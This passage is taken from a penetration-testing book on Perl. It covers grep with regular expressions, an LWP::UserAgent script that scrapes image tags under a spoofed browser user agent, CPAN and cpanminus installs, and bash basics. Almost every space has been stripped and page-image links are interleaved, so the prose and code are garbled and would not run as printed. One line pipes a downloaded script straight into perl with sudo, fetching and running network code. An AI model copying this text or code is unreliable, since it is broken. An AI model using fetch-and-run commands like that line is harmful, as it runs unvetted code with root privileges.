Regularexpressionsandthegrep()functiongrepisafilteringfunctioninwhichPerlprogrammerscantakeadvantageofusingregularexpressions.Let’slookattwosimpledefinitionsandexamplesofeachwaytousethegrepfunction,whichwillbeusedinthefollowingcodesnippetsthroughoutthisbook:grep(REGEXP,@LIST);
Theothersnippetis:grep{EXPRESSION}@LIST;
Thegrepfunctionreturnsalist.Forgreptocreatethislist,wefirstpassanotherlisttoitalongwitharegexp.Let’sfirstlookatanexamplecodesnippetinwhichweanalyzeeachelementofapasswordlistwiththecase-insensitivepattern/pass/i:#!/usr/bin/perl-w
usestrict;
my@passwd=(“123password”,“mypass00”,“secr3tPASSW0RD”,
“ultraPassWORD”,“password_2015”,“fb_password_011”,
“secret6667”,“H1KING3343”,“1337secrets_MS”);
print$_.”\n”foreach(grep(/pass/i,@passwd));
First,wecreatealistofpasswordstousewithourregexp.Then,sincegrepreturnsalistobject,wecanputitintoforeach().Thefirstargumentistheregularexpressiontouseasafilter,andthesecondisthelistwewanttosearchthrough.Wecanalsousethissyntaxtosimplyassigntoourownlist,shownasfollows:my@passwdfiltered=grep(/pass/i,@passwd);
Thiswillsimplypushalltruematchesintothe@passwdfilteredarray.Fortheseconddefinitionlisted,wecanusethefollowingcode:#!/usr/bin/perl-w
usestrict;
my@passwd=(“123password”,“mypass00”,“secr3tPASSW0RD”,
“ultraPassWORD”,“password_2015”,“fb_password_011”,
“secret6667”,“H1KING3343”,“1337secrets_MS”);
print$_.”\n”foreach(grep{$_=~m/^[0-9]/}@passwd);
Thiscodeonlydiffersslightlyfromthecodeinthepreviousdefinition,inthatwedefinedourownexpressiontoperformoneachelementof@passwd.Onethingtonoteinthiscaseisthatthe$_lexically-scopedvariableisapointertotheactualelementinthefirstlistthatwepassedtogrep.Thismeansthatwecanalter$_,anditwillchangeitinthelistweinitiallypassedtogrep,likethis:print$_.”\n”foreach(grep{$_=~s/1/ONE/}@passwd);
Thiswillchangeallnumber1sinthe@passwdarraytoONEifanumber1exists,andreturnstruetoforeachinwhichprintiscalledthecurrentelement.
Itcan’tbeexpressedinwordshowpowerfultheseoperatorsandfunctionsbecomewhenusedwiththeregularexpressionsyntax.WecanuseourimaginationandapplyittoalmostanythinginPerlprogrammingforpenetrationtesting!
![Page 49: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/49.jpg)
CPANPerlmodulesThepreviousfewexampleshavebeenrelyingonslurpingintheshelloutputfromthecurlcommandandworkingwithitasanarray.Wecanforgothecommand-linetoolcurl,andusePerlitselftomaketheHTTPrequest.WewilldothisusingtheLWP::UserAgentPerlmoduleavailablefromCPAN(http://cpan.org).CPANstandsforComprehensivePerlArchiveNetworkandhostsamassivecodebasethatwecanutilizeforstableandtestedcodereuse.IftherearealreadyclassesforthecodewewantinCPAN,itisalwaysbesttousethemfirst.Why?Becausebydoingso,wecutouttheneedfordependenciesandcreatecross-platformapplications.WhatifwegiveourimgGrabapplicationtoacoworker,whodoesn’thavecurlinstalledontheirsystem,ordoesn’tevenuseasysteminwhichcurlisinstallable?Thisletsuscreateflexiblecodethatcanthriveinmoreenvironments.
Let’sfirstinstalltheLWP::UserAgentmoduleonoursystem:cpan–iLWP::UserAgent
Ifwedonothaverootaccess,wemostlikelywon’tbeabletowritetothegloballysharedPerllibrarydirectories.ThiscanbeovercomebyinstallingPerlmoduleslocallyonourhomedirectoriesandaddingthelibrarypathtothe@INCPerlspecialvariable.ThisspecialvariableisusedbyPerlwhenuse,do,orrequirearecalledinourprograms.WhenwestartCPANforthefirsttime,weareaskedalotofconfigurationquestions,onebeingwhetherornottoinstallthemoduleslocally.
trevelyn@wnld960:~$cpan-iNet::Whois::ARIN::Network
CPAN:Storableloadedok(v2.39)
CPAN:LWP::UserAgentloadedok(v5.835)
CPAN:Time::HiResloadedok(v1.9719)
mkdir/root/.cpan:Permissiondeniedat/usr/share/perl/5.10/CPAN/FTP.pm
line501.
trevelyn@wnld960:~$
Wecanusesudoorsu,butwhatdoweuseoncompromisedsystemswithouttheprivilegeescalatedtoUID0?WesimplyrunthefollowingcommandfromtheCPANshell:
oconfinit
Wearethenpromptedtousethelocal::libmodule:
Warning:YoudonothavewritepermissionforPerllibrarydirectories.
Toinstallmodules,youneedtoconfigurealocalPerllibrarydirectoryor
escalateyourprivileges.CPANcanhelpyoubybootstrappingthe
local::lib
moduleorbyconfiguringitselftouse‘sudo’(ifavailable).Youmayalso
resolvethisproblemmanuallyifyouneedtocustomizeyoursetup.
Whatapproachdoyouwant?(Choose‘local::lib’,‘sudo’or‘manual’)
[local::lib]
![Page 50: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/50.jpg)
Also,weareconvenientlypromptedtoaddthelinetothebashshell’sinitfile~/.bashrc:exportPATH=$PATH:~/perl5/perlbrew/bin/
IfCPANisoutdated,itcouldbemissingtheoptiontouselocal::lib.Wecaninstallmodulesbydownloadingandcompilingthemourselvesandaddingthefollowingline:uselib‘<path/to/our/libraries/here>’;
WhenrunningCPANforthefirsttime,allowalldependenciestocompletethefullinstallation,whichmighttakeafewminutesdependingonourprocessorsandnetworkbandwidth.ThisishowweinstallanyPerlmoduleusedwithinthisbook.Iftroubleisencounteredduringinstallation,itmightbebesttotrytheLinuxdistributionspackagemanager,suchasaptitudeoryumforthePerlmodules,astheymostlikelyhavebeenprecompiled.Tosearchforapackageinaptitude,forexample,wecanusethefollowingcommandtonarrowoursearchfortheWWW::MechanizePerlmodule:
libwww-mechanize-perl-moduletoautomateinteractionwithwebsites
Asshownhere,thepackagemanagementsystem,thatis,aptitudehasthepackagelabeledinamorespecificmannerthanjustthePerlmodulename.
Afterthis,wecanwriteourfirststandalonePerlprogram,whichusesaproperuseragent,createsasocket,bindstoalocalport,andmakestheHTTPrequesttotheserver.Then,onreceivingthedata,itclosestheconnectionautomatically.
RememberhowwesaidthateverythingintheLINUXoperatingsystemistreatedasafile?Well,soisthisconnection!NetworkcommunicationhappensthroughsocketdescriptorsusingtheUNIXsocket()systemprogram.
ThefollowingisourfirststandalonePerlprograminwhichwemakeacompleteHTTPrequest:#!/usr/bin/perl-w
usestrict;
useLWP::UserAgent;
my$ua=LWP::UserAgent->new;
$ua->agent(“Mozilla/5.0(Windows;U;WindowsNT6.1en-US;rv:1.9.2.18)
Gecko/20110614Firefox/3.6.18”);
my$req=HTTP::Request->new(GET=>shift);
my$res=$ua->request($req);
my@lines=split(/\n/,$res->content);
foreach(@lines){
print$_.”\n”if($_=~m/<img.+src=(“|’).*>/);
}
ThiscodefirsttellsPerltousetheLWP::UserAgentPerlmodule.Then,wecreateanewLWP::UserAgentobject$uausingthenew()method,afterwhichweusetheagent()methodtosetafakeFirefoxuseragenttosendtothewebserver.Wecanactuallysetanythingwewishhere,whichallowsus,aspenetration-testingattackers,tobequitemischievous!Next,wewanttocreatearequestobjectfromtheHTTP::RequestclassthatcomeswithintheLWP::UserAgentmodule,$req.Inthenewmethod,wespecifytheGETmethodandtheURLwewishtoget.Inourcase,itisobtainedfromtheshiftfunctionbyremovingitfromthe@ARGVcommand-linearguments.Finally,wetellthe$reqobjectto
![Page 51: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/51.jpg)
requestthepagewiththerequest()method.Thiscontentisreturnedasalargestringobject,whichwecallsplit(),withtheregularexpression/\n/tosplitthereturnedHTMLbynewlinessothatwecanloopovereachlineandprintitifitcontainsanIMGtag.NowwehavewrittenourfirstintelligencegatheringtoolusingonlyPerl.
WhatifthereturnedresponsefromthewebsiteisnotanHTTP200OK?Howcanwehandleanerrorlikethis?Well,thisisalreadyhandledwiththeLWP::UserAgentPerlmodule.Callingthemethodrequeston$reqtocreateanHTTP::ResponseobjectprovidesuswiththeHTTP::Responsemethods.Sonow,intheprecedingcode,the$resobjecthasafewmethodsforcheckingerrors,suchascodeorstatus_line.
Let’smodifytheprecedingcodetoonlycheckforimageswithourregularexpressionandmatchingoperatoriftheHTTPresponseis200:#!/usr/bin/perl-w
usestrict;
useLWP::UserAgent;
my$ua=LWP::UserAgent->new;
$ua->agent(“Mozilla/5.0(Windows;U;WindowsNT6.1en-US;rv:1.9.2.18)
Gecko/20110614Firefox/3.6.18”);
my$req=HTTP::Request->new(GET=>shift);
my$res=$ua->request($req);
my@lines=split(/\n/,$res->content);
die“URLcannotbereached!”unless$res->code==200;
foreach(@lines){
print$_.”\n”if($_=~m/<img.+src=(“|’).*>/);
}
That’smuchbetternow!TheprogramwilldieiftheHTTPresponsecodeisnota200.ThisevenworksokaywhenwegetanHTTP302redirectionresponsebecausetheLWP::UserAgentPerlmodulehandlesthiskindofredirectforus.
Aspreviouslystressed,CPANmodulesandregularexpressionslikethosementionedearlierwillbeusedheavilythroughoutthecourseofthisbook.Informationgatheringandreportingisthemostimportantworkduringapenetrationtest.Armedwiththisnewskillofusingregularexpressions,youcaneasilyapplyyourimaginationandgatheramassiveamountofvitaldatausingonlyafewPerlprograms,aswewillseeinthenextfewchapters.Manyinstitutionsaren’tevenawareoftheamountofsensitivedatatheyprovideontheirpublic-facingwebsitesandservers,sonotonlyisprovidingthemwiththisinformationcrucial,butitisalsonecessaryforustoclearlycomprehendtheentirepictureofthetarget’sinfrastructure.
![Page 52: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/52.jpg)
CPANminusCPANminusisalow-memory,zero-configurationscriptusedtodownload,unpack,build,andinstallPerlmodulesfromCPAN.CPANminusmakesinstallingPerlmodulessomucheasier.Toinstallit,wecanusecurl:
curl-Lhttp://cpanmin.us|perl-—sudoApp::cpanminus
Thiswillcreateanewexecutablefilein/usr/local/binbydefault,namedcpanm.Now,wecaninstallanyPerlmoduleusingcpanm,likethis:cpanmModule::Name
Let’stestthisfortheRegexp::DebuggerPerlmodulewepreviouslymentioned:
root@80211:~#cpanmRegexp::Debugger
—>WorkingonRegexp::Debugger
Fetchinghttp://www.cpan.org/authors/id/D/DC/DCONWAY/Regexp-Debugger-
0.001020.tar.gz…OK
ConfiguringRegexp-Debugger-0.001020…OK
BuildingandtestingRegexp-Debugger-0.001020…OK
SuccessfullyinstalledRegexp-Debugger-0.001020
1distributioninstalled
root@80211:~#
Inthisterminaloutput,wehavesuccessfullyinstalledaPerlmoduleusingthequickandeasyCPANminusapplication.
AnothergreatfeatureofCPANminusisthatitcanbeusedtouninstallaPerlmodule.Ifwepassthe-UargumentandaPerlmodulename,wecanuninstallit.Let’stryitwiththeRegexp::Debuggermodulethatwejustinstalled,forexample:
root@80211:~#cpanm-URegexp::Debugger
Regexp::Debuggercontainsthefollowingfiles:
/usr/local/bin/rxrx
/usr/local/man/man1/rxrx.1p
/usr/local/man/man3/Regexp::Debugger.3pm
/usr/local/share/perl/5.14.2/Regexp/Debugger.pm
AreyousureyouwanttouninstallRegexp::Debugger?[y]y
Unlink:/usr/local/bin/rxrx
Unlink:/usr/local/man/man1/rxrx.1p
Unlink:/usr/local/man/man3/Regexp::Debugger.3pm
Unlink:/usr/local/share/perl/5.14.2/Regexp/Debugger.pm
Unlink:/usr/local/lib/perl/5.14.2/auto/Regexp/Debugger/.packlist
SuccessfullyuninstalledRegexp::Debugger
root@80211:~#
TheterminaloutputshowsthesuccessfuluninstallationoftheRegexp::DebuggerPerlmodule.
![Page 53: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/53.jpg)
SummarySofar,alloftheexamplesaresemi-passiveintelligence-gatheringtechniquesasdescribedintheOpensourceintelligence(OSINT)sectionsofthePTES.Thesestandardsareputinplacetoclearlydefineourworkexecutionandbusinesslogisticsinordertopresenttheclientwithsecured,high-qualityresults.Semi-passiveOSINTissimplyinformationgatheringthatshouldnotraiseanyredflagsonthetargetsystems.Themostimportantpartofthisfirstchapteristoprovideuswiththenecessaryskilltocutbackonournumberofqueriesandprovidearealisticaverageuserfeeltoourfootprint,usingtheregularexpressionsyntaxinourPerlprograms.
Inthenextchapter,wewillbelearninghowtousePerlwiththeLinuxoperatingsystemandhowourprogramscaneasilyinteractwiththeLinuxshell.Indoingthis,aLinux-Perlenvironmentwillbewhatwewillfocusonusingthroughouttherestofthisbook.
![Page 54: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/54.jpg)
Chapter2.LinuxTerminalOutputTheBourneAgainshell,orbashshell,providesuswithano-hassle,easyinterfaceforutilizingLinuxapplications,thefilesystem,networktasks,andmuchmore.Wecanchainapplicationswithdatastreams,forkthemintothebackground,manipulatefiles,andevensendtheoutputacrossthenetwork.Whatalotofpeopledon’tknowisthatmostshells,suchasthebashshell,havetheirownprogramminglogicalconditionalconstructorsandcommandsbuiltdirectlyintothem.Throughoutthisbook,wewillbecombiningPerlwiththeLinuxoperatingsystemtocreateagreatpenetrationtestingasset,soit’sgoodtoknowhowwellPerlcanmanipulatestringsandthatLinuxtreatseverythingasafile.
AnothergreatbenefitofLinux,besidesthefactthatithasalargeglobaldevelopmentbaseandthatitisopenandfree,isthatalotofnetworkingadministrationtoolscomewithmostdefaultinstallations,whichreducestheworkrequiredandmakeslessqueriestoexternalsourcesforthesameinformationthatwewouldgetfromotheroperatingsystems.Wecancallmostoftheseapplicationsdirectlyfromthecommandlineifneeded,andsharetheoutputdatatootherapplicationsorprintdirectlytofiles,whichwewillcoverlaterinthischapter.Someofthesecommandsdo,however,utilizethenetworkinginterfacesinsuchawaythatrequiresuper-useraccess.
Thischapterprovidesuswithasimpleintroduction,andisarefreshertothosewhomightusePerlwithMicrosoftWindowsoperatingsystems,OSX,orjustdon’thavemuchLinuxcommand-lineexperience.Evenifsomereadersdohaveexperiencewithnativeorthird-partyshellsforoperatingsystems,theymightlearnsomenewshellsyntaxandshortcutstocutbackonoverheadandimprovetheefficiencyofourscripts.Gettingcomfortablewiththecommandlineiseasyoncewetrulygrasptheconceptforwhichitexists,andthiswillmakeourlivesmucheasier!Weusetoolseverydayfortasksandallofthesetoolsareonlytomakethecompletionofthosetasksquickerorevenpossible.Othertoolsalsooftenrequireustobetrainedtoutilizethem,nomatterhowhardoreasyitmightbe.
![Page 55: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/55.jpg)
Built-inbashcommandsAsmentionedearlier,bashhasafewbuilt-incommandsandvariableswecanuseforprogramminglogic.Let’stakealookatashorttabularlistofthese:
Commands/Variables Description
if ThisworksjustliketheiflogicalconstructofPerl.
then Thisdoeswhatevercommandsareinthecompoundstatementififreturnstrue.
elif Thisisanelseifstatement.
else Thisistheelsepartfromtheifstatement.
fi Thisclosestheifblockorthecompoundstatementofthecode.
for Thisisaforloop,whichworksjustasaforloopfromPerl.
while Thisisawhileloopconstruct.
do Thisdoeswhatisinthecompoundstatementifwhileorforreturnstrue.
done Thiscompletesaloop.
printf Thisworksjustliketheprintf()functionfromPerl.
read Thisreadslinesfromafile.
=~ Thisisaregularexpressionmatchingoperator.
$$ ThisgivestheprocessIDofthecurrentshell.
$! ThisgivestheprocessIDofthelastforkedprogrambythecurrentshell.
$# Thisgivesthenumberofargumentstoashellscript.
$@ Thisgivesthestringofallargumentspassedtothescript.
$n nisanintegerfrom0to9foreachargumentpassedtotheshellscript.Anyargumentover9mustbesurroundedincurlybraces,forexample${10},${11},andsoon.
${!x} x,beingaparametername,willexpandtheparameterandcanthenbeusedasavariableitself.
$(cmd) Thisexecutescmdandexpandstoitsreturnedoutput.
`cmd` Thisexecutescmdandexpandstoitsreturnedoutput.
“$html” Thedoublequotesthatsurroundavariablenamewillpreservewhitespace.
(cmd1;cmd2) Thisgroupscommandsinparenthesis,(),cmd1,andcmd2togethersplicetheoutput.
Thesearejustafewofthelargearrayofbuilt-incommandsandvariables.MostofthelogicalconstructsforbashperformjustastheydoinPerl,butwithaslightlydifferentsyntax.Forinstance,rememberthematchingoperator=~fromChapter1,PerlProgramminginPerl?Asweseefromtheprecedingtable,itisalsoavailableinbash
![Page 56: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/56.jpg)
programming,andwecanuseitlikethis:#!/bin/bash
if[[$1=~https?://(www.)?]]
thenecho“aURLwaspassedtome”
fi
ThissmallshellscriptconceptisusefulwhenusedwithanHTTPquerytoawebserviceorwebpage.Wecanactuallyenclosevariablenamesindoublequotestopreservewhitespace.
![Page 57: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/57.jpg)
Variableexpansion,grouping,andargumentsTheparameterexpansionvariableisalsoagreatassettousewhenusingbashscript.Itallowsustocreateprogramsinwhichouruserscanspecifywhichargumenttheywanttouse.Considerthisexample:#!/bin/bash
echo${!1}
Ifwearetoexecutethisscriptintheshellandpasstoitthevariables2,hello,world,bash,andscripting,itwilldisplaythestringheldwithinthesecondvariable,inourcasehello.Thisisbecausethevariablein${!1},whichis$1,isexpandedtothevaluewepassedtoit,thatis2.Thenitisusedasavariableintheechostatement,justaswetypedecho$2,asweseeintheprogram’soutputhere:trevelyn@wnl:~/ch2$./paramexpansion.sh2helloworldbashscripting
hello
trevelyn@wnl:~/ch2$
Toaddtoscriptingefficiencywithbash,eachlinecanbeseparatedwithasemicolon,andanentirescriptcanberuninonesingleline,alsoknownasaone-liner,asweseeinthefollowingexample:
trevelyn@wnl:~/ch2$echo“directorylistingfor$(pwd):”;ls-l;
directorylistingfor/home/trevelyn/ch2:
total4
-rwxr-xr-x1trevelyntrevelyn23Nov2016:43paramexpansion.sh
trevelyn@wnl:~/ch2$
Inthesecondcommandintheprecedingbashone-liner,weseeanillustrationofthe$()commandexpansionoperatorlistedinourtableofbashcommands.Thepwdcommandprintstheworkingdirectoryandisexpandedintheechocommand.Anythinginanexpansioncommand,suchas$(pwd),`pwd`,or${!1},willbeevaluatedbeforetheparentcommandisexecuted,whichissimilartothealgebraicconceptofparenthesisfirst.
Anotheralgebra-likeconceptutilizedbybash’sscriptingsyntaxisthegroupingoperator,(),aslistedinthebuilt-inbashtable.Forinstance,wecanusethesameprecedingexample,butsimplygroupthecommandstogetherinparenthesis,asshowninthefollowingexampleoutput:
trevelyn@shell:~/ch2$(echo“directorylistingfor$(pwd):”;ls-l)
directorylistingfor/home/trevelyn/ch2:
total8
-rw-r—r—1trevelyntrevelyn173Nov2116:40output.txt
-rwxr-xr-x1trevelyntrevelyn23Nov2016:43paramexpansion.sh
trevelyn@shell:~/ch2$(echo“directorylistingfor$(pwd):”;ls-l)>
output.txt
trevelyn@shell:~/ch2$catoutput.txt
directorylistingfor/home/trevelyn/ch2:
total8
-rw-r—r—1trevelyntrevelyn42Nov2116:41output.txt
-rwxr-xr-x1trevelyntrevelyn23Nov2016:43paramexpansion.sh
trevelyn@shell:~/ch2$
![Page 58: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/58.jpg)
Inthecommandoutput,weseetheexpansionfunction,$(),withparenthesisgrouping.Groupingisincrediblyuseful,aswecansee,toredirecttheoutputofmultiplecommandsintoonefile,inourcase,output.txt.Withoutgrouping,onlytheoutputofthelastcommand,ls–linourexample,willbesenttothefileoutput.txt.Wewilllearnmoreaboutoutputredirectioninthenextsection.
The@ARGVarrayforPerlcommand-lineargumentsisdenotedas$@inbash,andjustaswecanshowthenumberofelementsinaPerlarraywith$#array,thetotalnumberofcommand-lineargumentspassedtoabashscriptare$#.Anotherwidelyusedspecialvariableis$PATH,whichcontainsacolon-delimitedlistofdirectories,whicharesearchedfrombashwhenwetypeacommand.Ifthecommand,whichisjustanexecutableapplication,isinoneofthesedirectories,itruns.
Aswecansee,Perlandbashscriptingareverysimilarinspirit.Attimes,theycanbealmostidentical,buttherearemanyreasonsthatmakePerlmuchmorepowerful.
TipIfyouareeverinalimitedcompromisedsystemandarepressedfortimeduringyourpenetrationtestforyourclient,youmightfindyourselfscramblingforcheatsheetsorforgettingthebashsyntaxaltogether.Alwaysrememberhowsimilarthetwocanbe,andthatyoucanalwaystypehelpinabashshellforalistofbuilt-incommands,ormanbashforafullmanualofbashitself.
![Page 59: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/59.jpg)
ScriptexecutionfrombashAbashshellscriptmustcontaintheprocessorofthescriptasthefirstlineinthesamewayourPerlprogramsdowithashebang,orhashbangasaninterpreterdirective.Forexample,ononeofourlabsystems,weusethefollowingdirective:#!/usr/local/bin/bash
EachLinuxsystemisdifferent,andthewhichcommandcanbeusedtofindanycommand’sfullpath.Oncewrittenandsavedtothefilesystem,weneedtomakethescriptanexecutable.Wedon’tcompilethescriptintoaseparatebinaryfile;wesimplychangeitsUnixfilepermissionwiththechmodcommand:
chmod+xfile.sh
WecandoexactlythesamewithPerlprogramsandmakethemexecutableaswell.Then,allwehavetodoiscallthemwith./perlprogram.pl,oriftheyareinoneofourdirectoriesthatarespecifiedinthebashenvironmentspecialvariable,$PATH,wecanjusttypethenameperlprogram.pltostartourprogram.Let’strythiswithourimage-findingprogramfromChapter1,PerlProgramming:#!/usr/bin/perl-w
usestrict;
useLWP::UserAgent;
my$ua=LWP::UserAgent->new;
$ua->agent(“Mozilla/5.0(Windows;U;WindowsNT6.1en-US;rv:1.9.2.18)
Gecko/20110614Firefox/3.6.18”);
foreach(split(/\n/,$ua->request(HTTP::Request->new(GET=>shift))-
>content)){
print$2.”\n”if(/<img.+src=(“|’)([^”’]+)/);
}
Let’snamethisfileimgGrab.plandmakeitanexecutablewithchmod:
chmod+ximgGrab.pl
Wecannowruntheapplicationwith./imgGrab.plandprovideitwithawebpage’sURL.
If,however,wewishtocallourprogramwithouttheleadingperiodandforwardslash,weneedtohaveitlocatedinoneofourpathsoftheexecutablefiles.Considerthatweviewour$PATHvariablewiththefollowingcommand:
echo$PATH
Then,wecanseeallofthedirectoriesinwhichourexecutablecodelies.Ononeofthelabsystems,theprogram’soutputisasfollows:
trevelyn@shell:~/ch2$echo$PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
trevelyn@shell:~/ch2$
Aswegenerallydon’trunshellsasthesuper-useradministratoraccountofroot,andthese
![Page 60: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/60.jpg)
pathscanbeglobalforallusers,weprobablydon’thavepermissionstoputfilesinthesedirectories.Whatwecando,however,iseditourown$PATHenvironmentvariabletoincludeanewdirectory.Inhome,let’screateadirectorycalledpentest/binandaddthistoour$PATHvariable:
[trevelyn@shell~]$mkdir-ppentest/bin
[trevelyn@shell~]$cpimgGrab.plpentest/bin/imgGrab
[trevelyn@shell~]$ls-lpentest/bin/
total2
-rw-r—r—1trevelyn15109395Mar1323:21imgGrab
[trevelyn@shell~]$chmod+xpentest/bin/imgGrab
[trevelyn@shell~]$echo$PATH
/sbin:/bin:/usr/sbin:/usr/bin:/usr/games:/usr/local/sbin:/usr/local/bin:/home/trevelyn/bin
[trevelyn@shell~]$PATH=$PATH:~/pentest/bin/
[trevelyn@shell~]$imgGrabhttp://somesite.site/temp/site.html
<imgsrc=”../images/avatar.png”/>
<imgsrc=””/>
<imgwidth=500src=”../images/creditcard.png”/>
<imgsrc=“http://somesite.site/images/argv0.png”/>
<imgwidth=“500”src=’../images/ilovepla.png’/>
<imgsrc=’../images/inbox.png’height=250/>
[trevelyn@shell~]$
Thesearethesimplestepstoadddirectoriesofexecutablestoour$PATHvariable.Thels–lcommandshowsusthefilepermissions,whichdidnotincludeanexecutable,sowerunthechmodcommandafteraddingittoour~/pentest/bindirectory.Anotherthingtonoticeisthatwearecopyingthefilewithoutthe.plextension.Thismakescallingtheprogramseemmorenatural.Tochangeanenvironmentvariable,wecanusetheexportcommandorjusttheassignmentoperator=aswedidwiththefollowingcommand:
[trevelyn@shell~]$PATH=$PATH:~/pentest/bin/
Eachdirectoryinour$PATHvariableisseparatedbyacolon,andtopreservethepathsthatarecurrentlypresentwejustassignittoitselfandappendthenewdirectory~/pentest/bin.Then,wesimplycalltheprogrambyitsnamewiththeURLasanargument.
Thepreviouslydemonstratedstepsthataddascriptinour$PATHvariablehaveoneculprit:theyremaininforceonlyaslongaswemaintainourcurrentshellsession.Ifwecloseourterminalwindow,logoutfromLinux,and/orhaveasystemcrashandrestartthesystem,wewillhavetorepeatthosesteps.Thiscanbeavoidedbyusingthebashinitializationfile,.bashrc,foundinourhomedirectories.Thisfilerunseverytimewestartanewbashshell,andwillexecuteallcommandswithinthisfile.Wesimplyappendthefollowinglinetotheendofthefile:exportPATH=$PATH:~/pentest/bin
Thiswillexecutetheinitializationfileeachtimewelogin.Theexportcommandisyetanothergreatbashbuilt-incommand,whichexportstheenvironmentvariablenotonlytoourcurrentshellbutalsotoallchildprocessesstartedbyourshell.
NowthatweknowhowtocallourprogramsjustlikeotherLinuxprogramsfromour
![Page 61: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/61.jpg)
shell,wewillbeusingthe~/pentest/bindirectorytoholdallofourexecutablecodethroughouttherestofthisbook,orsimplycallthePerlfilewiththeprependedperiodforwardslashsyntaxforexecution.
Alotoftheinformationthatwearecoveringisveryusefulwhenpresentedwithcompromised,Unix-likesystemsduringourpenetrationtesting.Withoutproperfilepermissions,wemightnotbeabletoevenreadsomefileswiththecompromisedaccount.Someaccountsevenhavelimitedorno$PATHoptionsavailable.Inthiscase,weneedtoincludetheentirepathtotheexecutableoraddthepathoftheexecutabletoour$PATHenvironmentvariable.Sowithoutknowingmoreabouthowtheshellworks,wecanfindourselveslimitedinourpenetrationtestresults.
![Page 62: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/62.jpg)
Input/outputstreamsSofar,ourapplicationhasonlyprintedthereturnedresultstoourscreen,whichisstandardoutput,orSTDOUT.Next,wewilltakealookathowwecanlogtheoutputeasilyfromourPerlprogramintoafileusingtheshellredirectoperators>and>>.TheseoperatorsbehaveinasimilarfashiontohowtheyareusedinthePerlopen()functionforopeningafileforwriting.WewillalsolearnhowtoredirectSTDOUTintoSTDIN,orthestandardinputofanotherapplicationasarguments.
TipGuesswhat?Ourscreenisalsoafile!Inthedirectory/dev/inmostLinuxdistributions,thereisafilecalledstdout,whichwecanechostringsintoorevenredirectacommandinto,andtheoutputisreturnedfromthefiledescriptordirectlytoourscreen.Infact,wecanalsousethePerlopen()functiontoopenthescreenviathisfiledescriptor.
[trevelyn@shell~]$echo‘standardoutput!’>/dev/stdout
standardoutput!
[trevelyn@shell~]$
Inthisexample,wewritedirectlytothefiledescriptor/dev/stdoutanditprintsdirectlytoourscreen.
![Page 63: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/63.jpg)
OutputtofilesLet’slookathowwecanoutputourprogramdatatofiles.Thereareafewwaysinwhichwecandothis.Firstandforemost,wecanobviouslyusePerl’sopen()filefunctionsandprinttothespecifiedfilehandle,orwecanjustlettheshelldoitforus.Let’ssaywewanttologtheoutputofourimgGrabprogramtothefileoutput.txt.Well,wecanusethe1>shellredirect,whichwillcreatetheoutput.txtfileifitdoesnotexist,orcompletelyoverwriteitsfilecontentsifitdoes:
[trevelyn@shell~/pentestwithperl/dev]$imgGrab
http://somesite.site/temp/site.html1>output.txt
[trevelyn@shell~/pentestwithperl/dev]$catoutput.txt
